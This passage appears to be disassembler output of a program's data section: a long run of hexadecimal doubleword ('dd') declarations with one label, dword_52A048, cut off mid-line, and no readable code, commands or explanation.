77FA5110h, 491485BAh, 7CA004B4h, 0A9818A24h, 3AE1CD00h dd 0ABAD1Bh, 9D374FEFh, 0D11A5B49h, 0D40A9000h, 3FFD3DBh dd 5D577A55h, 1861D074h, 0D096BC9Ah, 20F12DE9h, 8A07CD58h dd 90BBC4F9h, 93E9FF0h, 0B9113FAAh, 5A9DB601h, 60A616A1h dd 0E70091EDh, 23E9DF26h, 30F34B72h, 451022B1h, 7900A547h dd 36AACE0Ah, 198E28h, 0ED135A4Bh, 0EFC6FEDBh, 0A1F66709h dd 0A563003Bh, 1BC1C23Fh, 0E05AD0B2h, 0DB9E83A8h, 0DF90B60Fh dd 0EED7C094h, 1D95F7Ch, 0E4CA8084h, 5406B492h, 12F5C088h dd 99057E39h, 93AE3FBCh, 3EB44B80h, 2BD93156h, 50DE0329h dd 160958F0h, 0B28884A0h, 1FDF7413h, 57AA8840h, 0C5A6C3F1h dd 24E328h, 0E02DDBB0h, 1E1E1123h, 31409E47h, 48CF1D34h dd 6DA80066h, 0E4F62796h, 0A418828Ch, 63089C4Ah, 0A8690031h dd 5A261D06h, 5100DED6h, 166171AFh, 18920CDCh, 59211E23h dd 50C257F7h, 903631AFh, 8279830h, 851CE4F4h, 0C497464h dd 141007FFh, 0D5010E60h, 21D000B9h, 1AF2E8F9h, 0E401F3C9h dd 657F644Bh, 5883CDA8h, 0F1854927h, 14102076h, 2D067EA3h dd 18DA5A94h, 8CE26E0Bh dd 5B2DE5Fh, 4849BF54h, 0F2CE3980h, 94E40805h, 20768062h dd 0BE26380Dh, 21C81307h, 4AC0A615h, 0C3E178EBh, 410846F8h dd 753889F8h, 6DFC951Fh, 0E8921CC0h, 544DA9Bh, 40D98B98h dd 0A3B9808Ch, 0F02758Eh, 970E676Dh, 0AA88E0D3h, 70776E1h dd 0B67E494Ah, 0A7E99060h, 1A26AD9Fh, 6F001FB7h, 2D3075DAh dd 51810038h, 0AD5AC25h, 8700AA76h, 8A0F3F57h, 716D667h dd 3DC21A5Eh, 4BCAA3C5h, 48FCC0A8h, 7B66D700h, 6351610Ah dd 67980039h, 84B5D1CBh, 901D22A1h, 0F28037ECh, 0C1B4381Dh dd 6E493EBAh, 4EC58C83h, 91973C6h, 5A2021A2h, 36E70A00h dd 8F6FB600h, 348E307Eh, 0DD0B009Ch, 0C81F168Bh, 0BB0D1E6Ch dd 18925610h, 0C6119760h, 7059D819h, 98BE3338h, 29210A2Fh dd 1E683370h, 20081A68h, 339A1B6h, 0DAFF0D01h, 563A407Ch dd 8018E9EAh, 0ACE2C4F5h, 0D2B4016Fh, 0E7B58537h, 0AEAB200Fh dd 446D3E19h, 9F201710h, 0DBB0066h, 33EE98F9h, 650075EAh dd 0D6A78C73h, 1807A249h, 824882ECh, 25006986h, 2ECFAF64h dd 0BF3778h, 0D26BD9Fh, 6559878Dh, 3FF0B100h, 0B0C1C33h dd 0B12A50FBh, 9F5801A2h, 1EE8EC9h, 0FF2ED86Ch, 0A1B3B400h dd 0F6BE5DF0h, 5A1300A6h, 0B7CD2384h, 1F00672Ch, 61DF1930h dd 5393DAA9h, 0FCBB049Eh, 0B88C4C7Ah, 4B389080h, 0D90FE2B4h dd 0E05F4CC1h, 10DF42E1h, 1EA63045h, 257DE819h, 88AA5044h dd 0DD00378Bh, 761693DCh, 1A9E92D8h, 2156429Ah, 27113C00h dd 49701D73h, 0C6EF400h, 0B0A2B49Ah, 0ABA40F06h, 0A982031Fh dd 22C0C10Dh, 0F93C098Dh, 0E0600ADh, 0A580944Dh, 0C04EE862h dd 0E9A00B50h, 0E0F993DBh, 0C6EA3831h, 0B2B89C05h, 400B456Fh dd 5CB18078h, 80DF43h, 0A962CC1Ch, 6CB55B45h, 0F994A2Eh dd 600ADB00h, 1B93DF39h, 0C8D6A996h, 0D8AA80E7h, 597E3BDCh dd 8218177Dh, 83903749h, 40581846h, 813E68E1h, 5E04F8C2h dd 0DCE923E7h, 72F8E8C8h, 0A9DF5A0Ch, 1D8182Ah, 0B75CF49Dh dd 0D87127E5h, 61016A5Bh, 897E3A55h, 0DAF8C539h, 0E3B01F2Eh dd 0E291FDDh, 0BAFDC821h, 0A02D010Ah, 785683ACh, 64EA179Ah dd 307DE8A3h, 468E3FB0h, 1952F2F6h, 411703FCh, 625D059h dd 1B9F5DC0h, 43008020h, 0C110F954h, 50EEE87Eh, 2A59845h dd 0B82B2167h, 24B1F3DAh, 408F0CCCh, 72307329h, 366A19A5h dd 0F5CEA44h, 3975C1A2h, 60C24CA0h, 700CA29h, 0FDE3E064h dd 31BFFBDh, 7D745ABEh, 90010365h, 464F9F4Ch, 0B2C82D94h dd 0FFAC1EF8h, 6BE500C7h, 0CD9B55DBh, 0FBB88103h, 0A8D3F010h dd 0A56C1FAh, 0F49F4531h, 7454C158h, 71B70148h, 63931D10h dd 21EE28C0h, 2A77A3D5h, 0A080C2E8h, 83E0BE74h, 0D94C2781h dd 9BC50A7h, 1C37E7E5h, 0DA14814h, 0F8B8201Eh, 258161B9h dd 754FF568h, 0D0602577h, 9B1FB874h, 381DF417h, 8C60794Fh dd 9D9501Eh, 55F28263h, 0EAA5C20h, 0C507611h, 7491DD98h dd 40256E12h, 0F465900Ah, 78407CD9h, 248BC764h, 398AFE9h dd 0A792828Fh, 2C1C6901h, 0E1C4C363h, 98015EC4h, 0D0FC8B0Ch dd 15AA4DCh, 2475BFDh, 580F6B7Bh, 73432834h, 39877600h dd 0A191666h, 209EB8C9h, 375D40CCh, 0BF080A15h, 9C2832h dd 0DDEE6779h, 870E51C8h, 133946h, 0E12EAAD9h, 8B4C09CEh dd 6C20ABE6h, 7B5ADF5h, 8E0079FAh, 0B538209h, 0D18432Eh dd 0C3429B8Fh, 7D8800E0h, 670FF49Ah, 0C57E9216h, 5C14094Dh dd 0E5517CD4h, 76A44880h, 47FEF48h, 1D46EC77h, 0F320C9h dd 6D86C31Eh, 0EE6E73D2h, 1C45AB07h, 0E07010F5h, 70289AE4h dd 474B0756h, 0A0F6E12Dh, 0DC835DE2h, 342970C0h, 2025F959h dd 5A02949Ah, 58D27DA6h, 134048CDh, 0DFCF1EECh, 1EA9F087h dd 0F91FFBF6h, 4830575Dh, 32A6414Bh, 0E628CE81h, 1F4CFA10h dd 2F6E265h, 0AE25F813h, 715E3483h, 0FCD8803Fh, 7C81A8F0h dd 0FC3CE8BEh, 0B6F468E0h, 8DF602ADh, 5D1C6A03h, 0C055564Dh dd 4614F14h, 2F08EECBh, 4018D424h, 5AF82994h, 34003884h dd 3F551681h, 0E4D35C65h, 0B1716062h, 4ECB69E3h, 30048102h dd 4029EACEh, 0A05DA760h, 742E83DCh, 646301B2h, 2130777Ah dd 79B83027h, 0BD814711h, 8D0C2B38h, 0E918FDBCh, 4B28A31Fh dd 45148024h, 0CE688AE8h, 602B550Fh, 1F422CFDh, 44C259CAh dd 21AAE502h, 744A3533h, 0E330FC02h, 2E4610C8h, 550CF61Dh dd 63AF6600h, 7A776DEh, 0BBC5BC6h, 65FE50A9h, 7977307Ch dd 425AAE05h, 0BE01E64Ah, 949F0F21h, 2446B04Ch, 508DFB0h dd 865BBE3h, 0CC0042B8h, 72E659B7h, 30610446h, 8960C396h dd 7FC0EB50h, 4D10F35Eh, 650163D2h, 0ABDFC120h, 0F0B047E0h dd 148429F8h, 0DE227903h, 4CB8A142h, 26787041h, 148869E5h dd 4D00C46Bh, 0FACBB9D1h, 0AD3F33E1h, 0D1863BDh, 0B8AFE008h dd 0D8E6056Dh, 80FD2175h, 5E1AE8A1h, 6A798CA0h, 8255AB7Eh dd 65E85094h, 45188746h, 0E6290738h, 5C150C2Ch, 0F6305183h dd 277C88h, 76E0701Dh, 0C5F1877Fh, 9953C400h, 0B1849A6Dh dd 58147CC1h, 0A41C14A6h, 4D5749A5h, 685B0C00h, 650E2A64h dd 0C2EDC3C9h, 40F0143Ch, 0A74B8Ch, 0DE3437FBh, 4AAF7D96h dd 9A5C2700h, 4F2FF153h, 0F6401EE9h, 127704A9h, 16E0CA49h dd 80612B3Ch, 0E8652E45h, 26429DC0h, 0C52892DBh, 109CCA7Ch dd 34547960h, 4D9988DCh, 9E80552h, 2669D1Eh, 4482978Ch dd 93EC8968h, 2478A024h, 9E064CEh, 0F000E1ECh, 52FF11F6h dd 656B7200h, 64844B18h, 39B27067h, 0C707D23Fh, 0A3E46FBh dd 2210014h, 0A2659198h, 9ABB332Eh, 0BD20B318h, 4FB9003Ch dd 7CC07118h, 0FA801C65h, 502083B2h, 0EB560C9Fh, 0CA4952FCh dd 0A0A61840h, 0C8B01714h, 35114240h, 0BAF0240Fh, 0BF1B1D87h dd 73BE4FE0h, 0B2070C7Eh, 0E0D23634h, 33BBF5E0h, 7796019Ah dd 3D6BBDDDh, 536EDC8Fh, 62279800h, 9AD813D2h, 913F0EE8h dd 1F607B16h, 0D332EC74h, 36246C00h, 419275D7h, 5C9C0083h dd 0E7670E1Ah, 0A100D5C2h, 95D73120h, 0DC993Eh, 8832B9F5h dd 27B252FBh, 0F100C3F6h, 0EE62F9C6h, 0C0DF557Eh, 830FBD38h dd 402AF875h, 0EF00BCE5h, 15B03416h, 368CD5h, 27B873Ch dd 0C3AA6971h, 68F08EECh, 43580A8h, 207CAE30h, 19787Fh dd 16F9B032h, 82D363EEh, 7450E50Ah, 0EF007840h, 0EC7BACBCh dd 17F6158Bh, 0F306E421h, 59BD669Ah, 8EB3153Ch, 14B51A39h dd 0F1C1774Ch, 802B407Fh, 79DE5080h, 0BB7320B3h, 0B70A1AF8h dd 5C01F845h, 0B240FE98h, 3DF91EC7h, 0C909381Ah, 2C012D38h dd 20FBB7BEh, 2C300445h, 0BB8381D2h, 4A7F30C0h, 1C2BF438h dd 0C83789C0h, 0A6F15F9h, 8E88744Fh, 2485206Ch, 80240EC6h dd 0BD504532h, 0BE1484F8h, 0C0BCB74Ch, 0B3733734h, 498200CDh dd 0FAF28AC7h, 8D1BC8Ch, 0AEA0F718h, 3A33F3h, 0EF806A5Fh dd 7F42B7FFh, 0B5BF922Eh, 0F603F037h, 0CEF9C045h, 0F2C50089h dd 9F324C1Bh, 0F700BDF5h, 0ED6A433Eh, 615FA73h, 0F304A3DEh dd 8F32E91Bh, 62371A3Fh, 0D8401026h, 0F7E00795h, 0D0FE756Ah dd 2BC76844h, 76B239C0h, 28AC187Ah, 718C6C26h, 0AFDCA816h dd 0AB370FE0h, 3E8EB9FCh, 3504092h, 6BAC4169h, 504D7403h dd 0B47619h, 7F706D50h, 9ED017C1h, 9D0CCD3Ah, 1C80E9EBh dd 8369F445h, 488849C5h, 6340FA0Ch, 9501EF89h, 0BBB4286Ah dd 0EC521E76h, 7F944069h dd 6E70E9h, 6B376AF3h, 0FEBE52FAh, 5BB9161Dh, 1B15F83Dh dd 6A4F9E9h, 3FCF556Eh, 0D5E20038h, 6B38B9F0h, 411CC44Eh dd 734035A1h, 47C976FFh, 83F53C7h, 0C036BD10h, 416B8997h dd 0A0867CA5h, 6356BBh, 1788FFE5h, 0D5FA8BF0h, 157F2501h dd 46C7A44Ch, 7A872848h, 68374889h, 5134BD09h, 9E719486h dd 45B8A200h, 0CE901FFDh, 0B6AF00CDh, 1B692711h, 0A82A6BEBh dd 0C70C9071h, 19D46C07h, 2BAE1FA0h, 27A1034Ch, 0A9C03D18h dd 0B3604B9Ch, 7091A431h, 0F0F048BBh, 88CAFC50h, 3D02136Fh dd 46FAFDDBh, 0B3C09165h, 8149E842h, 0C8A26AD8h, 0EEA8A0DEh dd 1F33753h, 791C1550h, 211B4E41h, 0A80440DCh, 2B7BDA6Bh dd 2E141092h, 0DC35EEh, 1F4CC2BDh, 0C9198468h, 0B480C6F0h dd 0AC9B3DF4h, 0BF76FC03h, 755A52C7h, 0D87D30D9h, 16D7AF49h dd 94A384E6h, 3DFB3800h, 0E7509373h, 0DDD4000Ch, 212A99E5h dd 90533803h, 5922308h, 0AF2378h, 4DD5D897h, 4201020Ah dd 898D9DC3h, 10709E9Bh, 0EEF301BEh, 0DB95B6C1h, 0B25AD056h dd 807A7D3Bh, 0A264B9B4h, 79A2203h, 77DE23CEh, 29560A3h dd 0D01ABA5h, 56260B70h, 0D6E8277Eh, 395A6462h, 688220AEh dd 0CB7A37B3h, 4C0BC061h, 0D20092FCh, 0B9729966h, 17CC811h dd 1907B323h, 822A4BBCh, 375B8DB8h, 39CC00Ah, 0DFB70042h dd 2D79FAF6h, 2A004382h, 0A15E375Ah, 1E56AF73h, 0ECA57DAh dd 0D5C3D9CDh, 0ADC33665h, 5393201Eh, 638A298h, 0E7480151h dd 0A8761883h, 0BDAAFC99h, 23087853h, 2DFD007Ah, 0B0BF8287h dd 0E46EDF00h, 9E14A921h, 7CF60039h, 1B5DCC22h, 0ACA0B6C0h dd 0F0C0B797h, 0CDE75155h, 182C0079h, 1F5CC098h, 32342050h dd 8C1F20C2h, 287CD0C0h, 3EB7C62Fh, 0E2603921h, 5B8A8ED8h dd 0CDAE28C6h, 0AA070331h, 97270C0Dh, 9A99D9E0h, 0F4D51128h dd 68069C00h, 27244C59h, 7FBC0001h, 0ED7B9138h, 0CF036728h dd 0BDD2F3B7h, 687BC3h, 0C1D82D6Eh, 234C77BAh, 2A496206h dd 7B79AEB2h, 0DA9400B6h, 53B32ECFh, 19322216h, 41DDA154h dd 0B1707C0Ch, 67AA1DD9h, 0EB9C7EE6h, 50764C06h, 0D819218h dd 40A1024h, 19693503h, 99D58098h, 6D003C76h, 0CE7E86AFh dd 0D3F543E9h, 0D4A60018h, 0CD536082h, 0DC51CA00h, 0C494039Ch dd 0EE4D01B7h, 81222CA6h, 519180F3h, 0DDAA9A95h, 0BE44055Eh dd 81502D0Fh, 0FB41A540h, 147D383Ch, 0A1C03527h, 440043E8h dd 4F58DC2Ah, 0B5300C6h, 8C166D41h, 0B834772Ch, 54700540h dd 50379B6h, 457C73F8h, 2C762C18h, 40403830h, 0BEEB1C07h dd 0C064F2h, 0CFA6C51Ah, 46001499h, 43076208h, 7720F6DDh dd 0D8A26158h, 0D4705BC1h, 19126817h, 0A001DC46h, 53152B7Ch dd 0A6F789Fh, 80CD336h, 0BE0C023Dh, 487895Ah, 9BAA5143h dd 10C880EEh, 6C00945Dh, 2F20D8FCh, 6157014h, 7A08F3A4h dd 7B031842h, 5BF1BA30h, 26D3E0B0h, 0C213868h, 64997D80h dd 3422A5Ah, 0EEE8E565h, 0D66A4FC1h, 8EAD857h, 9F732180h dd 0C1F265D1h, 0C86B1B91h, 35A08F56h, 0F9D0C568h, 552AFC00h dd 0EA931B19h, 0FAC1DE29h, 0E4957E7Eh, 41923EC8h, 74D34004h dd 884C8124h, 9B4CF0E8h, 0E4D02118h, 0A1564948h, 631302C4h dd 2F9362F0h, 86CA4206h, 4D08E894h, 760050A8h, 0F629623Bh dd 50609C51h, 8D254BA9h, 78581CA7h, 808C24D8h, 23363DC2h dd 5F00757Fh, 9E92C56Ch, 18F5098Dh, 0F954632Ah, 0FBE01965h dd 46B790C6h, 3898C868h, 0E80FFCC8h, 884CD42Fh, 20C58397h dd 0D388F662h, 58D27958h, 1D55A841h, 298AAFDDh, 61987BBEh dd 0A05EA7B1h, 0A790CC78h, 89CD08A0h, 7D048C15h, 3B342390h dd 7C4C6282h, 0BA19CB3Ah, 622CC110h, 0DE7EC01h, 5AC10C9h dd 602DA4C0h, 9A23915Eh, 89F90419h, 80597A60h, 6FB2888h dd 1F1898FDh, 40B726F6h, 94B5F21Fh, 0B20316ABh, 706AA968h dd 3BA4D0F0h, 8AEE0179h, 2CE05022h, 0EBE9E89Ch, 2EE4D202h dd 402154CCh, 53CE92h, 0D36251F1h, 672C30C4h, 0D50F9570h dd 60866BF3h, 0DC1E01D4h, 0C0AC0029h, 0E89762EFh, 0D00F6498h dd 1F7FFAB1h, 4007E70Eh, 54D2011Eh, 6F8D0014h, 0D750CC4Fh dd 0ED01BF97h, 0E7C46BDDh, 29BFD4F9h, 7C001D20h, 0D85EB2E4h dd 2A3069h, 0AADE9652h, 0DC5A67D4h, 0B700EDFCh, 0D83E3D53h dd 36603Ch, 0BC171226h, 6A643B34h, 1A44F00h, 9FDDF7BDh dd 0B266006Ch, 6D398158h, 0F0001A68h, 6167844h, 3E8CBA85h dd 10802BF9h, 0B13A591Bh, 1200B9D1h, 0E9D28E4Ah, 1CF2E6h dd 2A68C53Eh, 54AE7DB3h, 590AE8E2h, 9852D5F5h, 2022AF00h dd 725B739Fh, 9F900E5h, 94D09844h, 0CF00B332h, 31F1269Dh dd 0E4730Bh, 22C338DDh, 0D26707B2h, 29C5F50Fh, 8D0880F1h dd 0C253A4h, 0A8E92CF0h, 19A6C606h, 4B29BD00h, 2B2518Eh dd 0E3373017h, 0DFE75CCEh, 3A002CBAh, 1F55D8A4h, 0E4AC04h dd 92AB357Bh, 8D8F13C5h, 0EB091707h, 0AE90A646h, 0DCED93h dd 0CA4D5190h, 796A1238h, 805F573Eh, 9D3692F6h, 1C743F54h dd 0C04A138Dh, 3ACDF55Eh, 0A6071066h, 0DB7C63A5h, 4407CCE0h dd 0C5A0001Dh, 0B0FB4959h, 9A00D485h, 62645DF3h, 1E247D7Ah dd 40AABC36h, 0B1520A74h, 0DA00CCB6h, 95854F0Dh, 499613h dd 0F354FF40h, 7118DC7h, 86B02000h, 8C6A32DDh, 0AE7C0CB1h dd 52F8E938h, 0CB9B9D03h, 8987BB07h, 96F82BBCh, 86AD0B6Bh dd 77807D79h, 0FF841091h, 0ABBE2F00h, 25195C8Fh, 9A20003Ah dd 6C5183A6h, 1A77D205h, 37D18416h, 68EF4000h, 546412h dd 8688D803h, 0D1C71A81h, 0C0E0981Fh, 0AA683743h, 0E1C6802Eh dd 0E8AFCF1h, 6D06D3Fh, 8009EEBh, 0D35B4428h, 0F9E0CA00h dd 0DB13C31Fh, 0E392012Ch, 3D5D683Fh, 0C616201Ch, 21E030Fh dd 6490011Dh, 0E751FFh, 0A39F15E8h, 7729C081h, 59FED500h dd 2FAF25E7h, 22640061h, 9A1EC456h, 9D7DEBB6h, 867E0738h dd 99C536AEh, 57853F11h, 69F53C00h, 5D1762CFh, 6536821Eh dd 0B030963Dh, 43307BF8h, 0CFFB3BEAh, 313D9E00h, 4FC0DF9Bh dd 41F807A5h, 0C07F590Ah, 0FCA3CBB9h, 6A101800h, 1EAFBD38h dd 595D00A1h, 0FE16CA47h, 7A07462Dh, 95378ECEh, 0C12CA0FEh dd 183AAB8Dh, 0E01ADD91h, 92005E16h, 13889408h, 3627A3h dd 9942B13Bh, 0FAC1E47h, 2C11FD02h, 407D5FDAh, 0CE7699h dd 10B35025h, 999F8B4Ch, 4E00A9FCh, 0D40FF140h, 901A55h dd 0D88ECB4Fh, 5763DFD3h, 2918DA03h, 0A0B79E28h, 3305CADh dd 0B636E65Dh, 88E88111h, 4746853h, 0E900E779h, 6F702923h dd 30506CEBh, 0A9C815DEh, 22008555h, 6EAAEC6h, 600803ABh dd 0D2D84830h, 8F307089h, 2FA91049h, 52EB0767h, 2126DA29h dd 809AA647h, 0FC9F4E61h, 138510h, 0EFC9A76Ah, 9DEC4B2Ch dd 0A414840Eh, 6D112022h, 7C62CDEEh, 8B6A1C68h, 3EBC1EECh dd 18A4F400h, 0C4031A87h, 1E5F2400h, 0DCD4CDD2h, 70E0040h dd 61AD6C3Ch, 0BA0902FFh, 227E9D9h, 407AF794h, 28125314h dd 0B4C48Fh, 0F0F5FA4Ch, 55887760h, 69A0A84Eh, 4F300033h dd 2E70996Ch, 0AB00D6DFh, 0C5982653h, 0B051D40Dh, 141E290h dd 155AEB99h, 0D547F256h, 0CC9E31FEh, 9B18984Ah, 0B3F8E120h dd 0E05F0006h, 0B0CF38A3h, 3B00AC94h, 0CE340D3Ch, 0EEAF96AAh dd 1FEE3E35h, 108A8200h, 900B13E6h, 1C96DCF7h, 3926EA00h dd 5283BD99h, 0F34E476h dd 0AB01E359h, 0E16AC440h, 6914817Bh, 1A7D19Ch, 855D50C5h dd 61E06699h, 4FC80276h, 0D852F840h, 9C1F4444h, 0A466FFD2h dd 0BD0094A4h, 486EC3F0h, 0EA8204E6h, 805C8E64h, 0DF9723F8h dd 0D6E0850Fh, 800ACBF5h, 1A2E1DFAh, 0B2290074h, 4EAAE4B7h dd 31075965h, 4B260AB5h, 0F0FBE851h, 0F434C0h, 0CA2A9D6Eh dd 252221B7h, 0F1453500h, 72069143h, 9B7FA1h, 58053476h dd 79BF9AEEh, 0EABC5013h, 9B6F8400h, 17353DAAh, 0F84374h dd 0BAE42DF6h, 0B45059FDh, 2B0A2CECh, 88EEDD99h, 9633ED03h dd 1897B052h, 0F06D1346h, 36C0082h, 0CD471167h, 5325B807h dd 76809E49h, 0B5AABh, 1977B637h, 0E2DAE978h, 99228F00h dd 154313F5h, 0DFBE1D6Ah, 0DE2E5F80h, 0B3C540D1h, 0D60D8D46h dd 220029F4h, 0FEFC378Bh, 74E0BC7Bh, 0F5CE00D1h, 100E808Dh dd 31F1FCAh, 88404DA6h, 0F621DD62h, 0FBE70038h, 0E906CEB5h dd 6C093533h, 0B20FEEh, 579BFA80h, 2FD1DC9h, 0A49DBA2Fh dd 0F15235h, 12B85C34h, 0C32853B9h, 0F63CCC5Ah, 28792CC1h dd 73345D00h, 0AEACFCh, 2B40754Fh, 0AAC8F2DCh, 2E774300h dd 4E10CE35h, 0A8FC0724h, 817BA2CFh, 0E0E62654h, 9801DE5Bh dd 61733E14h, 0C840EE43h, 0C67011h, 0B8FD80FBh, 19B1083h dd 103F6028h, 0FBC27218h, 0E2D78A1h, 4D7970CEh, 69454482h dd 1576EC80h, 85003FCDh, 0E25599AEh, 71FA9A18h, 5A1A009Ch dd 0F6F356ECh, 0B501848Ch, 0CE5D7657h, 82D2F9E5h, 606B0C34h dd 1939FBEh, 70A3F047h, 2028FDDAh, 720019BCh, 0A2F3FF4Bh dd 2EC68BCh, 0E288B846h, 1F42E08Dh, 0AC9AB468h, 158584Dh dd 265D21DBh, 27D049D7h, 9A9414CDh, 2F0010D6h, 8074FDB4h dd 0BB00F5DBh, 0E5529426h, 0B2CA0Bh, 0D40E14A8h, 56E4621Ah dd 3201FCF8h, 0AB262C55h, 0FC31ED0Ah, 775CB60h, 693BD8DBh dd 58DD1017h, 280006E3h, 84E9224Bh, 337547h, 59379321h dd 0DDCD4314h, 90422B2Ch, 5422A100h, 48CA5Ch, 18B127A6h dd 91C3582Fh, 526C9FA0h, 0A092BAFEh, 0EB301175h, 7344C0FCh dd 96A0C0CFh, 0E2D6A901h, 2B02B974h, 7CBA1695h, 44F3E0A4h dd 29BB6480h, 0DD8821F5h, 11A77011h, 0D912BC0Ch, 25DAB411h dd 0AC280494h, 802D48B7h, 0E1594611h, 360020B2h, 0B15F3710h dd 71EAF9h, 0F7506DFFh, 862AF1A9h, 0C4C8D3F7h, 0F4007C4Ch dd 74FECB42h, 784BC1h, 23614E28h, 0D1B4BDF2h, 0BA9B3900h dd 1DE87B59h, 0DEA60068h, 44C7760Ch, 0FE0298D6h, 0E6EDB05Dh dd 0E87FC377h, 0E75F91h, 0A5FD6A59h, 83EA8E4h, 0D928CC00h dd 0E9FC3942h, 1E76001Ch, 659C9DB0h, 1D009FB3h, 0BD4CC2F8h dd 98BC68A4h, 0D090060h, 1690FBABh, 23052D41h, 0E23BDE01h dd 0E4350C80h, 3B4057Ch, 404AD4B9h, 0C931A1D0h, 0B001C23h dd 9238AAE0h, 18D47C0Ch, 10AF8360h, 0D731A5A2h, 5157F6DCh dd 3A5DD8h, 20CDA17Bh, 77E19B4Eh, 3635DF0Ch, 20EA6007h dd 6700F366h, 4930BA0Ch, 379421h, 0D2FA844Ah, 0EC01A805h dd 0F23D0400h, 0CD68951Dh, 0B0C70397h, 2980B45h, 11C4F3A0h dd 0D4900DEAh, 9CBCFC4Fh, 0B2E51403h, 4DA3AB08h, 6B16DAE0h dd 83D9BC00h, 0D3033C6Fh, 350700F7h, 0FE46A59Fh, 217A7D9Ah dd 4F8B4303h, 0F84525E0h, 0C53854h, 0FCB53C6Bh, 3E1D91D1h dd 4AFAD712h, 6E596800h, 0AEF853h, 0B844131Ch, 3EA0E815h dd 78F03700h, 0ACA32249h, 0AD45394Ah, 394EB202h, 77D8B47Fh dd 0D968400h, 23BC5EA8h, 972D00A4h, 910DC61h, 5300E7EAh dd 31A79F19h, 25E97555h, 66D44464h, 14F1400h, 87F213h dd 1F83C21Eh, 65ACBCEAh, 27031C78h, 0E820C831h, 4330AF91h dd 865B01h, 0CAA9FA87h, 6CE525D3h, 0AF141F0Eh, 7E18E015h dd 7F73186h, 4FFD8839h, 5E0C10CDh, 8724F3A9h, 7C07086Bh dd 20EF7251h, 7EBF172Eh, 776A01C9h, 0D1CC2FFBh, 59002BCBh dd 0A09162DAh, 0FF230076h, 96A4FE1Ch, 24007F9Bh, 88FB9516h dd 4D4C3Bh, 9FBAC567h, 0FA469994h, 0D5E83309h, 798800DFh dd 1C134C3Fh, 801032AEh, 0D2B1D8C9h, 0F10C467Ch, 36AB50EBh dd 2BDE2FEh, 2D8D3116h, 54481103h, 0CF116D0Bh, 0D103C21Dh dd 94887FA2h, 9C001179h, 9DBCB999h, 0C1CE2CF5h, 0BF2D139h dd 3943C8B4h, 446E6800h, 0FF2B27EFh, 0ADA21621h, 0B5204095h dd 6FEC5DFDh, 780084E2h, 133E35D0h, 39B88C1Dh, 0AFA48394h dd 0FE6E001Ch, 0CB8871D1h, 80FDFA38h, 7553F011h, 0D5CC66h dd 72FE47AEh, 1A447397h, 5459890Fh, 0CB40C3C1h, 222100D8h dd 0E80D6070h, 2D0EB5AFh, 20C4ABEEh, 77490CFFh, 78E20072h dd 5BD65ECFh, 4A00E6C1h, 9573C3A8h, 0E10466Dh, 0DB44F76Bh dd 52F14162h, 543F1840h, 81078A00h, 2DD7B335h, 9AE7164h dd 0A6E9CDF9h, 6AD92400h, 0E01D030Fh, 61C0215Bh, 1A8CA9FBh dd 9B64011Fh, 0BB10BF97h, 55C0DFE8h, 977697Fh, 6AA79800h dd 231C3E66h, 0D67EC0BCh, 88551830h, 0EBA44A26h, 80D50A00h dd 0BA19D349h, 0A56D0F1Ch, 2BA08F8Bh, 0BD851D0Eh, 0C37961Ch dd 9D003E1Ch, 2EF61B76h, 0A24900A5h, 29E0A3F7h, 6000D978h dd 0E45AF8ABh, 12877CD5h, 405BD072h, 3F558834h, 3B7D1798h dd 3C128504h, 0CEC0038Ch, 98C08DDFh, 2E330048h, 15348802h dd 0B3FE0EA6h, 2C562B07h, 9D2092C9h, 1F65B65Eh, 0D5EB49h dd 79F08F1Dh, 8E0005FEh, 62CE99FFh, 76F1DBD6h, 0BF220392h dd 0A8411DF7h, 1FA3008Dh, 71C25244h, 0A6E30D00h, 0C66AD68Ah dd 0F3D400A5h, 0A2B457B3h, 45000387h, 0E50814D1h, 0E4D696C0h dd 81EA47h, 8B78CCF1h, 4B7BC4C9h, 0E9FE5103h, 0BFE095B6h dd 0DF0A73D0h, 8EE80106h, 0D8666D45h, 0F72087E4h, 0C4B09916h dd 0B03E0146h, 0BE7800D3h, 361AD108h, 6000637Bh, 5D9ED795h dd 0CA32CDh, 0BE7FB14Ch, 0EF2E8470h, 7377EC00h, 1FC10810h dd 0D3C3292Fh, 314B0070h, 174A9AB8h, 735E200h, 7EEF7FA1h dd 19FC00DBh, 0AF672B6Dh, 0AE00278Ah, 683E2A79h, 254C05Ch dd 0C8DC2552h, 0A8402B5Dh, 8301896Ah, 827FBA57h, 2087532Dh dd 60FC49BBh, 0AC1CA080h, 0E6DE9B12h, 0D089CC00h, 0F3E156h dd 0B259AE81h, 20C92829h, 0D377100h, 0CAF1805Bh, 0A2FE00C4h dd 419788EFh, 7D07ABC3h, 0DBE3C9DCh, 1682AE70h, 0EE8100A6h dd 0FC1BACA9h, 6000084Dh, 0CF266D76h, 3D8E0F9Fh, 57873ABFh dd 625A7Dh, 5E16DBB0h, 1E814F00h, 2572C070h, 0E67561h dd 37ADE851h, 21B1E76Bh, 86FFC800h, 90BCB4AAh, 0E8A854E0h dd 306B07F1h, 906FB72Dh, 7491BAFEh, 0B3421A03h, 0F7DDDCh dd 481B6EE8h, 0C59A37AEh, 80842D00h, 1D0FD6F9h, 0C63B0076h dd 32BD1888h, 280745AFh, 0ABDFB6BEh, 2BF73460h, 76B500C5h dd 898039A6h, 75003ABBh, 8CC4D463h, 0E8E39452h, 744100C3h dd 23A4FB6Ch, 765CD814h, 7B007630h, 4397641Bh, 74B3A8Dh dd 0D146E43Ch, 1129C2E2h, 39A379C0h, 3707DEF2h, 408DAF1Dh dd 548B89h, 35A4844Eh, 7FB8F1h, 0E6702CDEh, 0B3D438D7h dd 0DBAF6518h, 3A1BCC68h, 0B889FE21h, 64806145h, 1CF5CAC4h dd 65E94E00h, 8A1839AEh, 0D3D4B2AAh, 2DD40519h, 43C440E3h dd 4B547AD8h, 7C9B48h, 568D1C02h, 1E649C63h, 40A4A117h dd 0D5FDEBF6h, 8598E5D8h, 0C2094779h, 9CA38Eh, 7A6AB484h dd 0E3485C38h, 0D51A7B00h, 56CABAE7h, 289F2900h, 9E1EF59Ch dd 8AE5005Fh, 416CFEF2h dword_52A048 dd 122EA092h, 0F50B78EFh, 5A8AF32h, 6090A67Bh, 0F112052h dd 50B9FC8Bh, 9C24F022h, 0E0041850h, 6B5BA73Dh, 8092B682h dd 0D463B0Ch, 417C396Dh, 0B6BA7F80h, 6B5E6298h, 29790C90h dd 0E880BD90h, 0F6001D8Bh, 948A98B1h, 12C7E7C2h, 9F25120h dd 5C485224h, 0E00281FDh, 4A2C6448h, 0D0904063h, 0C46E00C9h dd 21B3D352h, 0B2037F14h, 3704B7CBh, 0B16A9043h, 28932EC2h dd 13A80363h, 78046411h, 